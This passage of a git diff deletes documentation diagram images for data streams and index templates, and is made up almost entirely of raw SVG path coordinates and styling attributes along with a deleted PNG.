666.710489,454.13465 666.106322,454.13465 C665.647989,454.13465 665.220906,454.254442 664.825072,454.494025 C664.429239,454.733608 664.142781,455.087775 663.965697,455.556525 C663.799031,456.025275 663.715697,456.702358 663.715697,457.587775 L663.715697,462.6034 L662.075072,462.6034 Z M683.334593,462.6034 L681.693968,462.6034 L681.693968,452.150275 C681.298135,452.525275 680.777302,452.905483 680.131468,453.2909 C679.496052,453.6659 678.923135,453.94715 678.412718,454.13465 L678.412718,452.5409 C679.329385,452.113817 680.131468,451.592983 680.818968,450.9784 C681.506468,450.363817 681.990843,449.770067 682.272093,449.19715 L683.334593,449.19715 L683.334593,462.6034 Z" id="Shape" fill="#3EBEB0" fill-rule="nonzero"></path>
-                <path d="M636.8635,480.42615 L636.8635,480.42615 C636.8635,476.619509 639.949377,473.533633 643.756017,473.533633 L693.467017,473.533633 C695.29502,473.533633 697.048194,474.259799 698.340796,475.552401 C699.633399,476.845004 700.359534,478.598147 700.359534,480.42615 L700.359534,507.995425 C700.359534,511.802066 697.273658,514.887942 693.467017,514.887942 L643.756017,514.887942 C639.949377,514.887942 636.8635,511.802066 636.8635,507.995425 L636.8635,480.42615 Z" id="Path" fill="#FEC514"></path>
-                <path d="M650.553,493.75827 L650.553,482.273895 L651.83425,482.273895 L651.83425,483.35202 C652.136333,482.924937 652.474875,482.607228 652.849875,482.398895 C653.235292,482.190562 653.698833,482.086395 654.2405,482.086395 C654.948833,482.086395 655.573833,482.268687 656.1155,482.63327 C656.657167,482.997853 657.063417,483.513478 657.33425,484.180145 C657.6155,484.836395 657.756125,485.560353 657.756125,486.35202 C657.756125,487.206187 657.599875,487.971812 657.287375,488.648895 C656.985292,489.325978 656.542583,489.846812 655.95925,490.211395 C655.386333,490.575978 654.776958,490.75827 654.131125,490.75827 C653.662375,490.75827 653.2405,490.659312 652.8655,490.461395 C652.500917,490.263478 652.198833,490.013478 651.95925,489.711395 L651.95925,493.75827 L650.553,493.75827 Z M651.818625,486.461395 C651.818625,487.534312 652.032167,488.325978 652.45925,488.836395 C652.89675,489.346812 653.422792,489.60202 654.037375,489.60202 C654.662375,489.60202 655.198833,489.336395 655.64675,488.805145 C656.094667,488.273895 656.318625,487.456187 656.318625,486.35202 C656.318625,485.28952 656.099875,484.497853 655.662375,483.97702 C655.224875,483.44577 654.704042,483.180145 654.099875,483.180145 C653.506125,483.180145 652.974875,483.461395 652.506125,484.023895 C652.047792,484.586395 651.818625,485.398895 651.818625,486.461395 Z M658.920187,486.41452 C658.920187,484.88327 659.347271,483.747853 660.201437,483.00827 C660.920187,482.393687 661.789979,482.086395 662.810812,482.086395 C663.956646,482.086395 664.888937,482.461395 665.607687,483.211395 C666.336854,483.950978 666.701437,484.982228 666.701437,486.305145 C666.701437,487.367645 666.539979,488.206187 666.217062,488.82077 C665.894146,489.435353 665.425396,489.91452 664.810812,490.25827 C664.206646,490.591603 663.539979,490.75827 662.810812,490.75827 C661.654562,490.75827 660.717062,490.388478 659.998312,489.648895 C659.279562,488.898895 658.920187,487.82077 658.920187,486.41452 Z M660.373312,486.41452 C660.373312,487.47702 660.602479,488.273895 661.060812,488.805145 C661.529562,489.336395 662.112896,489.60202 662.810812,489.60202 C663.508729,489.60202 664.086854,489.336395 664.545187,488.805145 C665.013937,488.273895 665.248312,487.461395 665.248312,486.367645 C665.248312,485.346812 665.013937,484.57077 664.545187,484.03952 C664.086854,483.50827 663.508729,483.242645 662.810812,483.242645 C662.112896,483.242645 661.529562,483.50827 661.060812,484.03952 C660.602479,484.560353 660.373312,485.35202 660.373312,486.41452 Z M667.787375,488.086395 L669.178,487.867645 C669.250917,488.430145 669.464458,488.862437 669.818625,489.16452 C670.183208,489.456187 670.683208,489.60202 671.318625,489.60202 C671.964458,489.60202 672.443625,489.471812 672.756125,489.211395 C673.068625,488.940562 673.224875,488.628062 673.224875,488.273895 C673.224875,487.961395 673.089458,487.711395 672.818625,487.523895 C672.620708,487.398895 672.141542,487.242645 671.381125,487.055145 C670.349875,486.794728 669.631125,486.57077 669.224875,486.38327 C668.829042,486.185353 668.526958,485.919728 668.318625,485.586395 C668.120708,485.253062 668.02175,484.88327 668.02175,484.47702 C668.02175,484.10202 668.105083,483.75827 668.27175,483.44577 C668.438417,483.13327 668.667583,482.872853 668.95925,482.66452 C669.178,482.497853 669.474875,482.362437 669.849875,482.25827 C670.235292,482.143687 670.641542,482.086395 671.068625,482.086395 C671.724875,482.086395 672.297792,482.180145 672.787375,482.367645 C673.276958,482.555145 673.636333,482.810353 673.8655,483.13327 C674.105083,483.44577 674.27175,483.872853 674.3655,484.41452 L672.9905,484.60202 C672.928,484.174937 672.745708,483.841603 672.443625,483.60202 C672.141542,483.362437 671.719667,483.242645 671.178,483.242645 C670.532167,483.242645 670.068625,483.35202 669.787375,483.57077 C669.516542,483.779103 669.381125,484.023895 669.381125,484.305145 C669.381125,484.492645 669.438417,484.659312 669.553,484.805145 C669.667583,484.950978 669.844667,485.075978 670.08425,485.180145 C670.230083,485.232228 670.64675,485.35202 671.33425,485.53952 C672.323833,485.799937 673.016542,486.018687 673.412375,486.19577 C673.808208,486.362437 674.1155,486.607228 674.33425,486.930145 C674.563417,487.253062 674.678,487.654103 674.678,488.13327 C674.678,488.60202 674.537375,489.044728 674.256125,489.461395 C673.985292,489.867645 673.589458,490.185353 673.068625,490.41452 C672.558208,490.643687 671.980083,490.75827 671.33425,490.75827 C670.250917,490.75827 669.428,490.534312 668.8655,490.086395 C668.303,489.638478 667.943625,488.971812 667.787375,488.086395 Z M679.412375,489.305145 L679.6155,490.555145 C679.219667,490.638478 678.8655,490.680145 678.553,490.680145 C678.042583,490.680145 677.64675,490.60202 677.3655,490.44577 C677.08425,490.279103 676.886333,490.065562 676.77175,489.805145 C676.657167,489.534312 676.599875,488.97702 676.599875,488.13327 L676.599875,483.367645 L675.568625,483.367645 L675.568625,482.273895 L676.599875,482.273895 L676.599875,480.211395 L678.006125,479.367645 L678.006125,482.273895 L679.412375,482.273895 L679.412375,483.367645 L678.006125,483.367645 L678.006125,488.211395 C678.006125,488.617645 678.026958,488.878062 678.068625,488.992645 C678.120708,489.107228 678.204042,489.200978 678.318625,489.273895 C678.433208,489.336395 678.594667,489.367645 678.803,489.367645 C678.95925,489.367645 679.162375,489.346812 679.412375,489.305145 Z M680.232687,488.086395 L681.623312,487.867645 C681.696229,488.430145 681.909771,488.862437 682.263937,489.16452 C682.628521,489.456187 683.128521,489.60202 683.763937,489.60202 C684.409771,489.60202 684.888937,489.471812 685.201437,489.211395 C685.513937,488.940562 685.670187,488.628062 685.670187,488.273895 C685.670187,487.961395 685.534771,487.711395 685.263937,487.523895 C685.066021,487.398895 684.586854,487.242645 683.826437,487.055145 C682.795187,486.794728 682.076437,486.57077 681.670187,486.38327 C681.274354,486.185353 680.972271,485.919728 680.763937,485.586395 C680.566021,485.253062 680.467062,484.88327 680.467062,484.47702 C680.467062,484.10202 680.550396,483.75827 680.717062,483.44577 C680.883729,483.13327 681.112896,482.872853 681.404562,482.66452 C681.623312,482.497853 681.920187,482.362437 682.295187,482.25827 C682.680604,482.143687 683.086854,482.086395 683.513937,482.086395 C684.170187,482.086395 684.743104,482.180145 685.232687,482.367645 C685.722271,482.555145 686.081646,482.810353 686.310812,483.13327 C686.550396,483.44577 686.717062,483.872853 686.810812,484.41452 L685.435812,484.60202 C685.373312,484.174937 685.191021,483.841603 684.888937,483.60202 C684.586854,483.362437 684.164979,483.242645 683.623312,483.242645 C682.977479,483.242645 682.513937,483.35202 682.232687,483.57077 C681.961854,483.779103 681.826437,484.023895 681.826437,484.305145 C681.826437,484.492645 681.883729,484.659312 681.998312,484.805145 C682.112896,484.950978 682.289979,485.075978 682.529562,485.180145 C682.675396,485.232228 683.092062,485.35202 683.779562,485.53952 C684.769146,485.799937 685.461854,486.018687 685.857687,486.19577 C686.253521,486.362437 686.560812,486.607228 686.779562,486.930145 C687.008729,487.253062 687.123312,487.654103 687.123312,488.13327 C687.123312,488.60202 686.982687,489.044728 686.701437,489.461395 C686.430604,489.867645 686.034771,490.185353 685.513937,490.41452 C685.003521,490.643687 684.425396,490.75827 683.779562,490.75827 C682.696229,490.75827 681.873312,490.534312 681.310812,490.086395 C680.748312,489.638478 680.388937,488.971812 680.232687,488.086395 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M664.79517,509.57077 L663.38892,509.57077 L663.38892,500.60202 C663.04517,500.924937 662.597253,501.247853 662.04517,501.57077 C661.503503,501.893687 661.01392,502.138478 660.57642,502.305145 L660.57642,500.94577 C661.35767,500.57077 662.039962,500.122853 662.623295,499.60202 C663.217045,499.07077 663.63892,498.560353 663.88892,498.07077 L664.79517,498.07077 L664.79517,509.57077 Z M668.959232,509.57077 L668.959232,498.117645 L673.287357,498.117645 C674.047774,498.117645 674.625899,498.154103 675.021732,498.22702 C675.584232,498.32077 676.052982,498.497853 676.427982,498.75827 C676.813399,499.018687 677.120691,499.388478 677.349857,499.867645 C677.589441,500.336395 677.709232,500.857228 677.709232,501.430145 C677.709232,502.398895 677.396732,503.221812 676.771732,503.898895 C676.157149,504.575978 675.037357,504.91452 673.412357,504.91452 L670.474857,504.91452 L670.474857,509.57077 L668.959232,509.57077 Z M670.474857,503.555145 L673.443607,503.555145 C674.422774,503.555145 675.115482,503.372853 675.521732,503.00827 C675.938399,502.643687 676.146732,502.13327 676.146732,501.47702 C676.146732,500.997853 676.021732,500.586395 675.771732,500.242645 C675.532149,499.898895 675.214441,499.674937 674.818607,499.57077 C674.568607,499.497853 674.099857,499.461395 673.412357,499.461395 L670.474857,499.461395 L670.474857,503.555145 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M636.8635,584.42615 L636.8635,584.42615 C636.8635,580.619509 639.949377,577.533633 643.756017,577.533633 L693.467017,577.533633 C695.29502,577.533633 697.048194,578.259768 698.340796,579.552371 C699.633399,580.844973 700.359534,582.598147 700.359534,584.42615 L700.359534,611.995425 C700.359534,615.802066 697.273658,618.887942 693.467017,618.887942 L643.756017,618.887942 C639.949377,618.887942 636.8635,615.802066 636.8635,611.995425 L636.8635,584.42615 Z" id="Path" fill="#FA734F"></path>
-                <path d="M654.96704,594.5708 L654.96704,583.117675 L656.37329,583.117675 L656.37329,594.5708 L654.96704,594.5708 Z M658.021727,590.41455 C658.021727,588.8833 658.448811,587.747883 659.302977,587.0083 C660.021727,586.393717 660.891519,586.086425 661.912352,586.086425 C663.058186,586.086425 663.990477,586.461425 664.709227,587.211425 C665.438394,587.951008 665.802977,588.982258 665.802977,590.305175 C665.802977,591.367675 665.641519,592.206217 665.318602,592.8208 C664.995686,593.435383 664.526936,593.91455 663.912352,594.2583 C663.308186,594.591633 662.641519,594.7583 661.912352,594.7583 C660.756102,594.7583 659.818602,594.388508 659.099852,593.648925 C658.381102,592.898925 658.021727,591.8208 658.021727,590.41455 Z M659.474852,590.41455 C659.474852,591.47705 659.704019,592.273925 660.162352,592.805175 C660.631102,593.336425 661.214436,593.60205 661.912352,593.60205 C662.610269,593.60205 663.188394,593.336425 663.646727,592.805175 C664.115477,592.273925 664.349852,591.461425 664.349852,590.367675 C664.349852,589.346842 664.115477,588.5708 663.646727,588.03955 C663.188394,587.5083 662.610269,587.242675 661.912352,587.242675 C661.214436,587.242675 660.631102,587.5083 660.162352,588.03955 C659.704019,588.560383 659.474852,589.35205 659.474852,590.41455 Z M667.18579,595.2583 L668.56079,595.461425 C668.612873,595.888508 668.769123,596.1958 669.02954,596.3833 C669.383707,596.643717 669.862873,596.773925 670.46704,596.773925 C671.112873,596.773925 671.612873,596.643717 671.96704,596.3833 C672.321207,596.122883 672.56079,595.7583 672.68579,595.28955 C672.758707,595.0083 672.795165,594.404133 672.795165,593.47705 C672.180582,594.206217 671.414957,594.5708 670.49829,594.5708 C669.352457,594.5708 668.46704,594.159342 667.84204,593.336425 C667.21704,592.513508 666.90454,591.523925 666.90454,590.367675 C666.90454,589.576008 667.045165,588.846842 667.326415,588.180175 C667.618082,587.513508 668.034748,586.997883 668.576415,586.6333 C669.128498,586.268717 669.769123,586.086425 670.49829,586.086425 C671.477457,586.086425 672.284748,586.482258 672.920165,587.273925 L672.920165,586.273925 L674.21704,586.273925 L674.21704,593.4458 C674.21704,594.737467 674.086832,595.654133 673.826415,596.1958 C673.565998,596.737467 673.149332,597.16455 672.576415,597.47705 C672.003498,597.78955 671.300373,597.9458 670.46704,597.9458 C669.477457,597.9458 668.675373,597.721842 668.06079,597.273925 C667.456623,596.826008 667.164957,596.154133 667.18579,595.2583 Z M668.357665,590.273925 C668.357665,591.357258 668.571207,592.148925 668.99829,592.648925 C669.43579,593.148925 669.977457,593.398925 670.62329,593.398925 C671.269123,593.398925 671.81079,593.154133 672.24829,592.66455 C672.68579,592.16455 672.90454,591.3833 672.90454,590.3208 C672.90454,589.299967 672.680582,588.534342 672.232665,588.023925 C671.784748,587.503092 671.243082,587.242675 670.607665,587.242675 C669.982665,587.242675 669.451415,587.497883 669.013915,588.0083 C668.576415,588.518717 668.357665,589.273925 668.357665,590.273925 Z M675.787352,592.086425 L677.177977,591.867675 C677.250894,592.430175 677.464436,592.862467 677.818602,593.16455 C678.183186,593.456217 678.683186,593.60205 679.318602,593.60205 C679.964436,593.60205 680.443602,593.471842 680.756102,593.211425 C681.068602,592.940592 681.224852,592.628092 681.224852,592.273925 C681.224852,591.961425 681.089436,591.711425 680.818602,591.523925 C680.620686,591.398925 680.141519,591.242675 679.381102,591.055175 C678.349852,590.794758 677.631102,590.5708 677.224852,590.3833 C676.829019,590.185383 676.526936,589.919758 676.318602,589.586425 C676.120686,589.253092 676.021727,588.8833 676.021727,588.47705 C676.021727,588.10205 676.105061,587.7583 676.271727,587.4458 C676.438394,587.1333 676.667561,586.872883 676.959227,586.66455 C677.177977,586.497883 677.474852,586.362467 677.849852,586.2583 C678.235269,586.143717 678.641519,586.086425 679.068602,586.086425 C679.724852,586.086425 680.297769,586.180175 680.787352,586.367675 C681.276936,586.555175 681.636311,586.810383 681.865477,587.1333 C682.105061,587.4458 682.271727,587.872883 682.365477,588.41455 L680.990477,588.60205 C680.927977,588.174967 680.745686,587.841633 680.443602,587.60205 C680.141519,587.362467 679.719644,587.242675 679.177977,587.242675 C678.532144,587.242675 678.068602,587.35205 677.787352,587.5708 C677.516519,587.779133 677.381102,588.023925 677.381102,588.305175 C677.381102,588.492675 677.438394,588.659342 677.552977,588.805175 C677.667561,588.951008 677.844644,589.076008 678.084227,589.180175 C678.230061,589.232258 678.646727,589.35205 679.334227,589.53955 C680.323811,589.799967 681.016519,590.018717 681.412352,590.1958 C681.808186,590.362467 682.115477,590.607258 682.334227,590.930175 C682.563394,591.253092 682.677977,591.654133 682.677977,592.1333 C682.677977,592.60205 682.537352,593.044758 682.256102,593.461425 C681.985269,593.867675 681.589436,594.185383 681.068602,594.41455 C680.558186,594.643717 679.980061,594.7583 679.334227,594.7583 C678.250894,594.7583 677.427977,594.534342 676.865477,594.086425 C676.302977,593.638508 675.943602,592.971842 675.787352,592.086425 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M664.79517,613.5708 L663.38892,613.5708 L663.38892,604.60205 C663.04517,604.924967 662.597253,605.247883 662.04517,605.5708 C661.503503,605.893717 661.01392,606.138508 660.57642,606.305175 L660.57642,604.9458 C661.35767,604.5708 662.039962,604.122883 662.623295,603.60205 C663.217045,603.0708 663.63892,602.560383 663.88892,602.0708 L664.79517,602.0708 L664.79517,613.5708 Z M668.959232,613.5708 L668.959232,602.117675 L673.287357,602.117675 C674.047774,602.117675 674.625899,602.154133 675.021732,602.22705 C675.584232,602.3208 676.052982,602.497883 676.427982,602.7583 C676.813399,603.018717 677.120691,603.388508 677.349857,603.867675 C677.589441,604.336425 677.709232,604.857258 677.709232,605.430175 C677.709232,606.398925 677.396732,607.221842 676.771732,607.898925 C676.157149,608.576008 675.037357,608.91455 673.412357,608.91455 L670.474857,608.91455 L670.474857,613.5708 L668.959232,613.5708 Z M670.474857,607.555175 L673.443607,607.555175 C674.422774,607.555175 675.115482,607.372883 675.521732,607.0083 C675.938399,606.643717 676.146732,606.1333 676.146732,605.47705 C676.146732,604.997883 676.021732,604.586425 675.771732,604.242675 C675.532149,603.898925 675.214441,603.674967 674.818607,603.5708 C674.568607,603.497883 674.099857,603.461425 673.412357,603.461425 L670.474857,603.461425 L670.474857,607.555175 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <line x1="427.8158" y1="451.6999" x2="590.71344" y2="476.109324" id="Path" fill-opacity="0" fill="#000000"></line>
-                <line x1="427.8158" y1="451.6999" x2="566.97846" y2="472.552744" id="Path" stroke="#3D99D7" stroke-width="4" stroke-linejoin="round"></line>
-                <polygon id="Path" stroke="#3D99D7" stroke-width="4" fill="#3D99D7" points="565.9993 479.08673 584.93033 475.242766 567.95749 466.018767"></polygon>
-                <path d="M587.2461,207.9584 C522.52344,207.9584 477.729926,268.89541 457.80079,329.83242 C437.871652,390.76943 442.806924,451.70644 427.813028,451.70644" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M563.41705,210.81787 L563.2207,210.86563 C562.988278,210.923049 562.756161,210.981261 562.524289,211.040297 C562.060727,211.158339 561.598385,211.279631 561.137265,211.404113 C560.215085,211.653075 559.297909,211.914824 558.3858,212.189116 C556.561642,212.737716 554.757687,213.336532 552.974057,213.983672 C549.406796,215.277984 545.921079,216.7657 542.517941,218.43196 C528.905575,225.096953 516.615781,234.618361 505.725888,246.044051 C483.946042,268.895415 467.765378,299.363921 457.800808,329.832427 C437.87167,390.769437 442.806912,451.706447 427.813015,451.706447" id="Path" stroke="#3D99D7" stroke-width="4" stroke-linejoin="round"></path>
-                <polygon id="Path" stroke="#3D99D7" stroke-width="4" fill="#3D99D7" points="564.2042 217.37775 581.4401 208.655124 562.629858 204.257999"></polygon>
-            </g>
-        </g>
-    </g>
-</svg>
\ No newline at end of file
diff --git a/docs/reference/images/data-streams/create-index-template.png b/docs/reference/images/data-streams/create-index-template.png
deleted file mode 100644
index 7506409897e..00000000000
Binary files a/docs/reference/images/data-streams/create-index-template.png and /dev/null differ
diff --git a/docs/reference/images/data-streams/data-streams-diagram.svg b/docs/reference/images/data-streams/data-streams-diagram.svg
deleted file mode 100644
index 361345a43a7..00000000000
--- a/docs/reference/images/data-streams/data-streams-diagram.svg
+++ /dev/null
@@ -1 +0,0 @@
-<svg version="1.1" viewBox="0.0 0.0 488.9265091863517 181.50393700787401" fill="none" stroke="none" stroke-linecap="square" stroke-miterlimit="10" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns="http://www.w3.org/2000/svg"><clipPath id="p.0"><path d="m0 0l488.9265 0l0 181.50394l-488.9265 0l0 -181.50394z" clip-rule="nonzero"/></clipPath><g clip-path="url(#p.0)"><path fill="#000000" fill-opacity="0.0" d="m0 0l488.9265 0l0 181.50394l-488.9265 0z" fill-rule="evenodd"/><path fill="#000000" fill-opacity="0.0" d="m4.1252713 42.679565l0 0c0 -14.684399 11.904058 -26.588457 26.588459 -26.588457l426.76007 0c7.051697 0 13.814575 2.8012753 18.800873 7.7875786c4.986328 4.9863033 7.7875977 11.749182 7.7875977 18.800879l0 106.35065c0 14.684402 -11.904053 26.588455 -26.58847 26.588455l-426.76007 0c-14.684401 0 -26.588459 -11.904053 -26.588459 -26.588455z" fill-rule="evenodd"/><path stroke="#00bfb3" stroke-width="2.0" stroke-linejoin="round" stroke-linecap="butt" d="m4.1252713 42.679565l0 0c0 -14.684399 11.904058 -26.588457 26.588459 -26.588457l426.76007 0c7.051697 0 13.814575 2.8012753 18.800873 7.7875786c4.986328 4.9863033 7.7875977 11.749182 7.7875977 18.800879l0 106.35065c0 14.684402 -11.904053 26.588455 -26.58847 26.588455l-426.76007 0c-14.684401 0 -26.588459 -11.904053 -26.588459 -26.588455z" fill-rule="evenodd"/><path fill="#00bfb3" d="m23.696552 76.505226l0 0c0 -6.5318756 5.2951317 -11.827011 11.827007 -11.827011l117.8893 0c3.1367188 0 6.1449585 1.2460556 8.362946 3.4640503c2.2180023 2.2179947 3.4640503 5.226242 3.4640503 8.362961l0 47.30661c0 6.5318832 -5.2951202 11.8270035 -11.826996 11.8270035l-117.8893 0c-6.5318756 0 -11.827007 -5.2951202 -11.827007 -11.8270035z" fill-rule="evenodd"/><path fill="#ffffff" d="m38.550236 106.01853l0 -1.609375l1.609375 0l0 1.609375l-1.609375 0zm9.4296875 0l0 -1.046875q-0.78125 1.234375 -2.3125 1.234375q-1.0 0 -1.828125 -0.546875q-0.828125 -0.546875 -1.296875 -1.53125q-0.453125 -0.984375 -0.453125 -2.25q0 -1.25 0.40625 -2.25q0.421875 -1.015625 1.25 -1.546875q0.828125 -0.546875 1.859375 -0.546875q0.75 0 1.328125 0.3125q0.59375 0.3125 0.953125 0.828125l0 -4.109375l1.40625 0l0 11.453125l-1.3125 0zm-4.4375 -4.140625q0 1.59375 0.671875 2.390625q0.671875 0.78125 1.578125 0.78125q0.921875 0 1.5625 -0.75q0.65625 -0.765625 0.65625 -2.3125q0 -1.703125 -0.65625 -2.5q-0.65625 -0.796875 -1.625 -0.796875q-0.9375 0 -1.5625 0.765625q-0.625 0.765625 -0.625 2.421875zm7.3984375 1.65625l1.390625 -0.21875q0.109375 0.84375 0.640625 1.296875q0.546875 0.4375 1.5 0.4375q0.96875 0 1.4375 -0.390625q0.46875 -0.40625 0.46875 -0.9375q0 -0.46875 -0.40625 -0.75q-0.296875 -0.1875 -1.4375 -0.46875q-1.546875 -0.390625 -2.15625 -0.671875q-0.59375 -0.296875 -0.90625 -0.796875q-0.296875 -0.5 -0.296875 -1.109375q0 -0.5625 0.25 -1.03125q0.25 -0.46875 0.6875 -0.78125q0.328125 -0.25 0.890625 -0.40625q0.578125 -0.171875 1.21875 -0.171875q0.984375 0 1.71875 0.28125q0.734375 0.28125 1.078125 0.765625q0.359375 0.46875 0.5 1.28125l-1.375 0.1875q-0.09375 -0.640625 -0.546875 -1.0q-0.453125 -0.359375 -1.265625 -0.359375q-0.96875 0 -1.390625 0.328125q-0.40625 0.3125 -0.40625 0.734375q0 0.28125 0.171875 0.5q0.171875 0.21875 0.53125 0.375q0.21875 0.078125 1.25 0.359375q1.484375 0.390625 2.078125 0.65625q0.59375 0.25 0.921875 0.734375q0.34375 0.484375 0.34375 1.203125q0 0.703125 -0.421875 1.328125q-0.40625 0.609375 -1.1875 0.953125q-0.765625 0.34375 -1.734375 0.34375q-1.625 0 -2.46875 -0.671875q-0.84375 -0.671875 -1.078125 -2.0zm8.015625 -0.953125l0 -1.421875l4.3125 0l0 1.421875l-4.3125 0zm5.843746 3.4375l0 -11.453125l1.40625 0l0 11.453125l-1.40625 0zm3.0546875 -4.15625q0 -2.296875 1.28125 -3.40625q1.078125 -0.921875 2.609375 -0.921875q1.71875 0 2.796875 1.125q1.09375 1.109375 1.09375 3.09375q0 1.59375 -0.484375 2.515625q-0.484375 0.921875 -1.40625 1.4375q-0.90625 0.5 -2.0 0.5q-1.734375 0 -2.8125 -1.109375q-1.078125 -1.125 -1.078125 -3.234375zm1.453125 0q0 1.59375 0.6875 2.390625q0.703125 0.796875 1.75 0.796875q1.046875 0 1.734375 -0.796875q0.703125 -0.796875 0.703125 -2.4375q0 -1.53125 -0.703125 -2.328125q-0.6875 -0.796875 -1.734375 -0.796875q-1.046875 0 -1.75 0.796875q-0.6875 0.78125 -0.6875 2.375zm7.7109375 4.84375l1.375 0.203125q0.078125 0.640625 0.46875 0.921875q0.53125 0.390625 1.4375 0.390625q0.96875 0 1.5 -0.390625q0.53125 -0.390625 0.71875 -1.09375q0.109375 -0.421875 0.109375 -1.8125q-0.921875 1.09375 -2.296875 1.09375q-1.71875 0 -2.65625 -1.234375q-0.9375 -1.234375 -0.9375 -2.96875q0 -1.1875 0.421875 -2.1875q0.4375 -1.0 1.25 -1.546875q0.828125 -0.546875 1.921875 -0.546875q1.46875 0 2.421875 1.1875l0 -1.0l1.296875 0l0 7.171875q0 1.9375 -0.390625 2.75q-0.390625 0.8125 -1.25 1.28125q-0.859375 0.46875 -2.109375 0.46875q-1.484375 0 -2.40625 -0.671875q-0.90625 -0.671875 -0.875 -2.015625zm1.171875 -4.984375q0 1.625 0.640625 2.375q0.65625 0.75 1.625 0.75q0.96875 0 1.625 -0.734375q0.65625 -0.75 0.65625 -2.34375q0 -1.53125 -0.671875 -2.296875q-0.671875 -0.78125 -1.625 -0.78125q-0.9375 0 -1.59375 0.765625q-0.65625 0.765625 -0.65625 2.265625zm7.4296875 1.8125l1.390625 -0.21875q0.109375 0.84375 0.640625 1.296875q0.546875 0.4375 1.5 0.4375q0.96875 0 1.4375 -0.390625q0.46875 -0.40625 0.46875 -0.9375q0 -0.46875 -0.40625 -0.75q-0.296875 -0.1875 -1.4375 -0.46875q-1.546875 -0.390625 -2.15625 -0.671875q-0.59375 -0.296875 -0.90625 -0.796875q-0.296875 -0.5 -0.296875 -1.109375q0 -0.5625 0.25 -1.03125q0.25 -0.46875 0.6875 -0.78125q0.328125 -0.25 0.890625 -0.40625q0.578125 -0.171875 1.21875 -0.171875q0.984375 0 1.71875 0.28125q0.734375 0.28125 1.078125 0.765625q0.359375 0.46875 0.5 1.28125l-1.375 0.1875q-0.09375 -0.640625 -0.546875 -1.0q-0.453125 -0.359375 -1.265625 -0.359375q-0.96875 0 -1.390625 0.328125q-0.40625 0.3125 -0.40625 0.734375q0 0.28125 0.171875 0.5q0.171875 0.21875 0.53125 0.375q0.21875 0.078125 1.25 0.359375q1.484375 0.390625 2.078125 0.65625q0.59375 0.25 0.921875 0.734375q0.34375 0.484375 0.34375 1.203125q0 0.703125 -0.421875 1.328125q-0.40625 0.609375 -1.1875 0.953125q-0.765625 0.34375 -1.734375 0.34375q-1.625 0 -2.46875 -0.671875q-0.84375 -0.671875 -1.078125 -2.0zm8.015625 -0.953125l0 -1.421875l4.3125 0l0 1.421875l-4.3125 0zm5.484375 -2.21875q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.078125 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.15625 1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.234375 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.65625 0 -2.609375 -1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.640625 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.96875 0 -1.546875 0.828125q-0.734375 1.046875 -0.734375 3.859375zm7.4609375 0q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.078125 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.15625 1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.234375 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.65625 0 -2.609375 -1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.640625 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.96875 0 -1.546875 0.828125q-0.734375 1.046875 -0.734375 3.859375zm7.4609375 0q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.078125 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.15625 1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.234375 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.65625 0 -2.609375 -1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.640625 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.96875 0 -1.546875 0.828125q-0.734375 1.046875 -0.734375 3.859375zm7.4609375 0q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.078125 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.15625 1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.234375 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.65625 0 -2.609375 -1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.640625 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.96875 0 -1.546875 0.828125q-0.734375 1.046875 -0.734375 3.859375zm7.4609375 0q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.078125 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.15625 1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.234375 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.65625 0 -2.609375 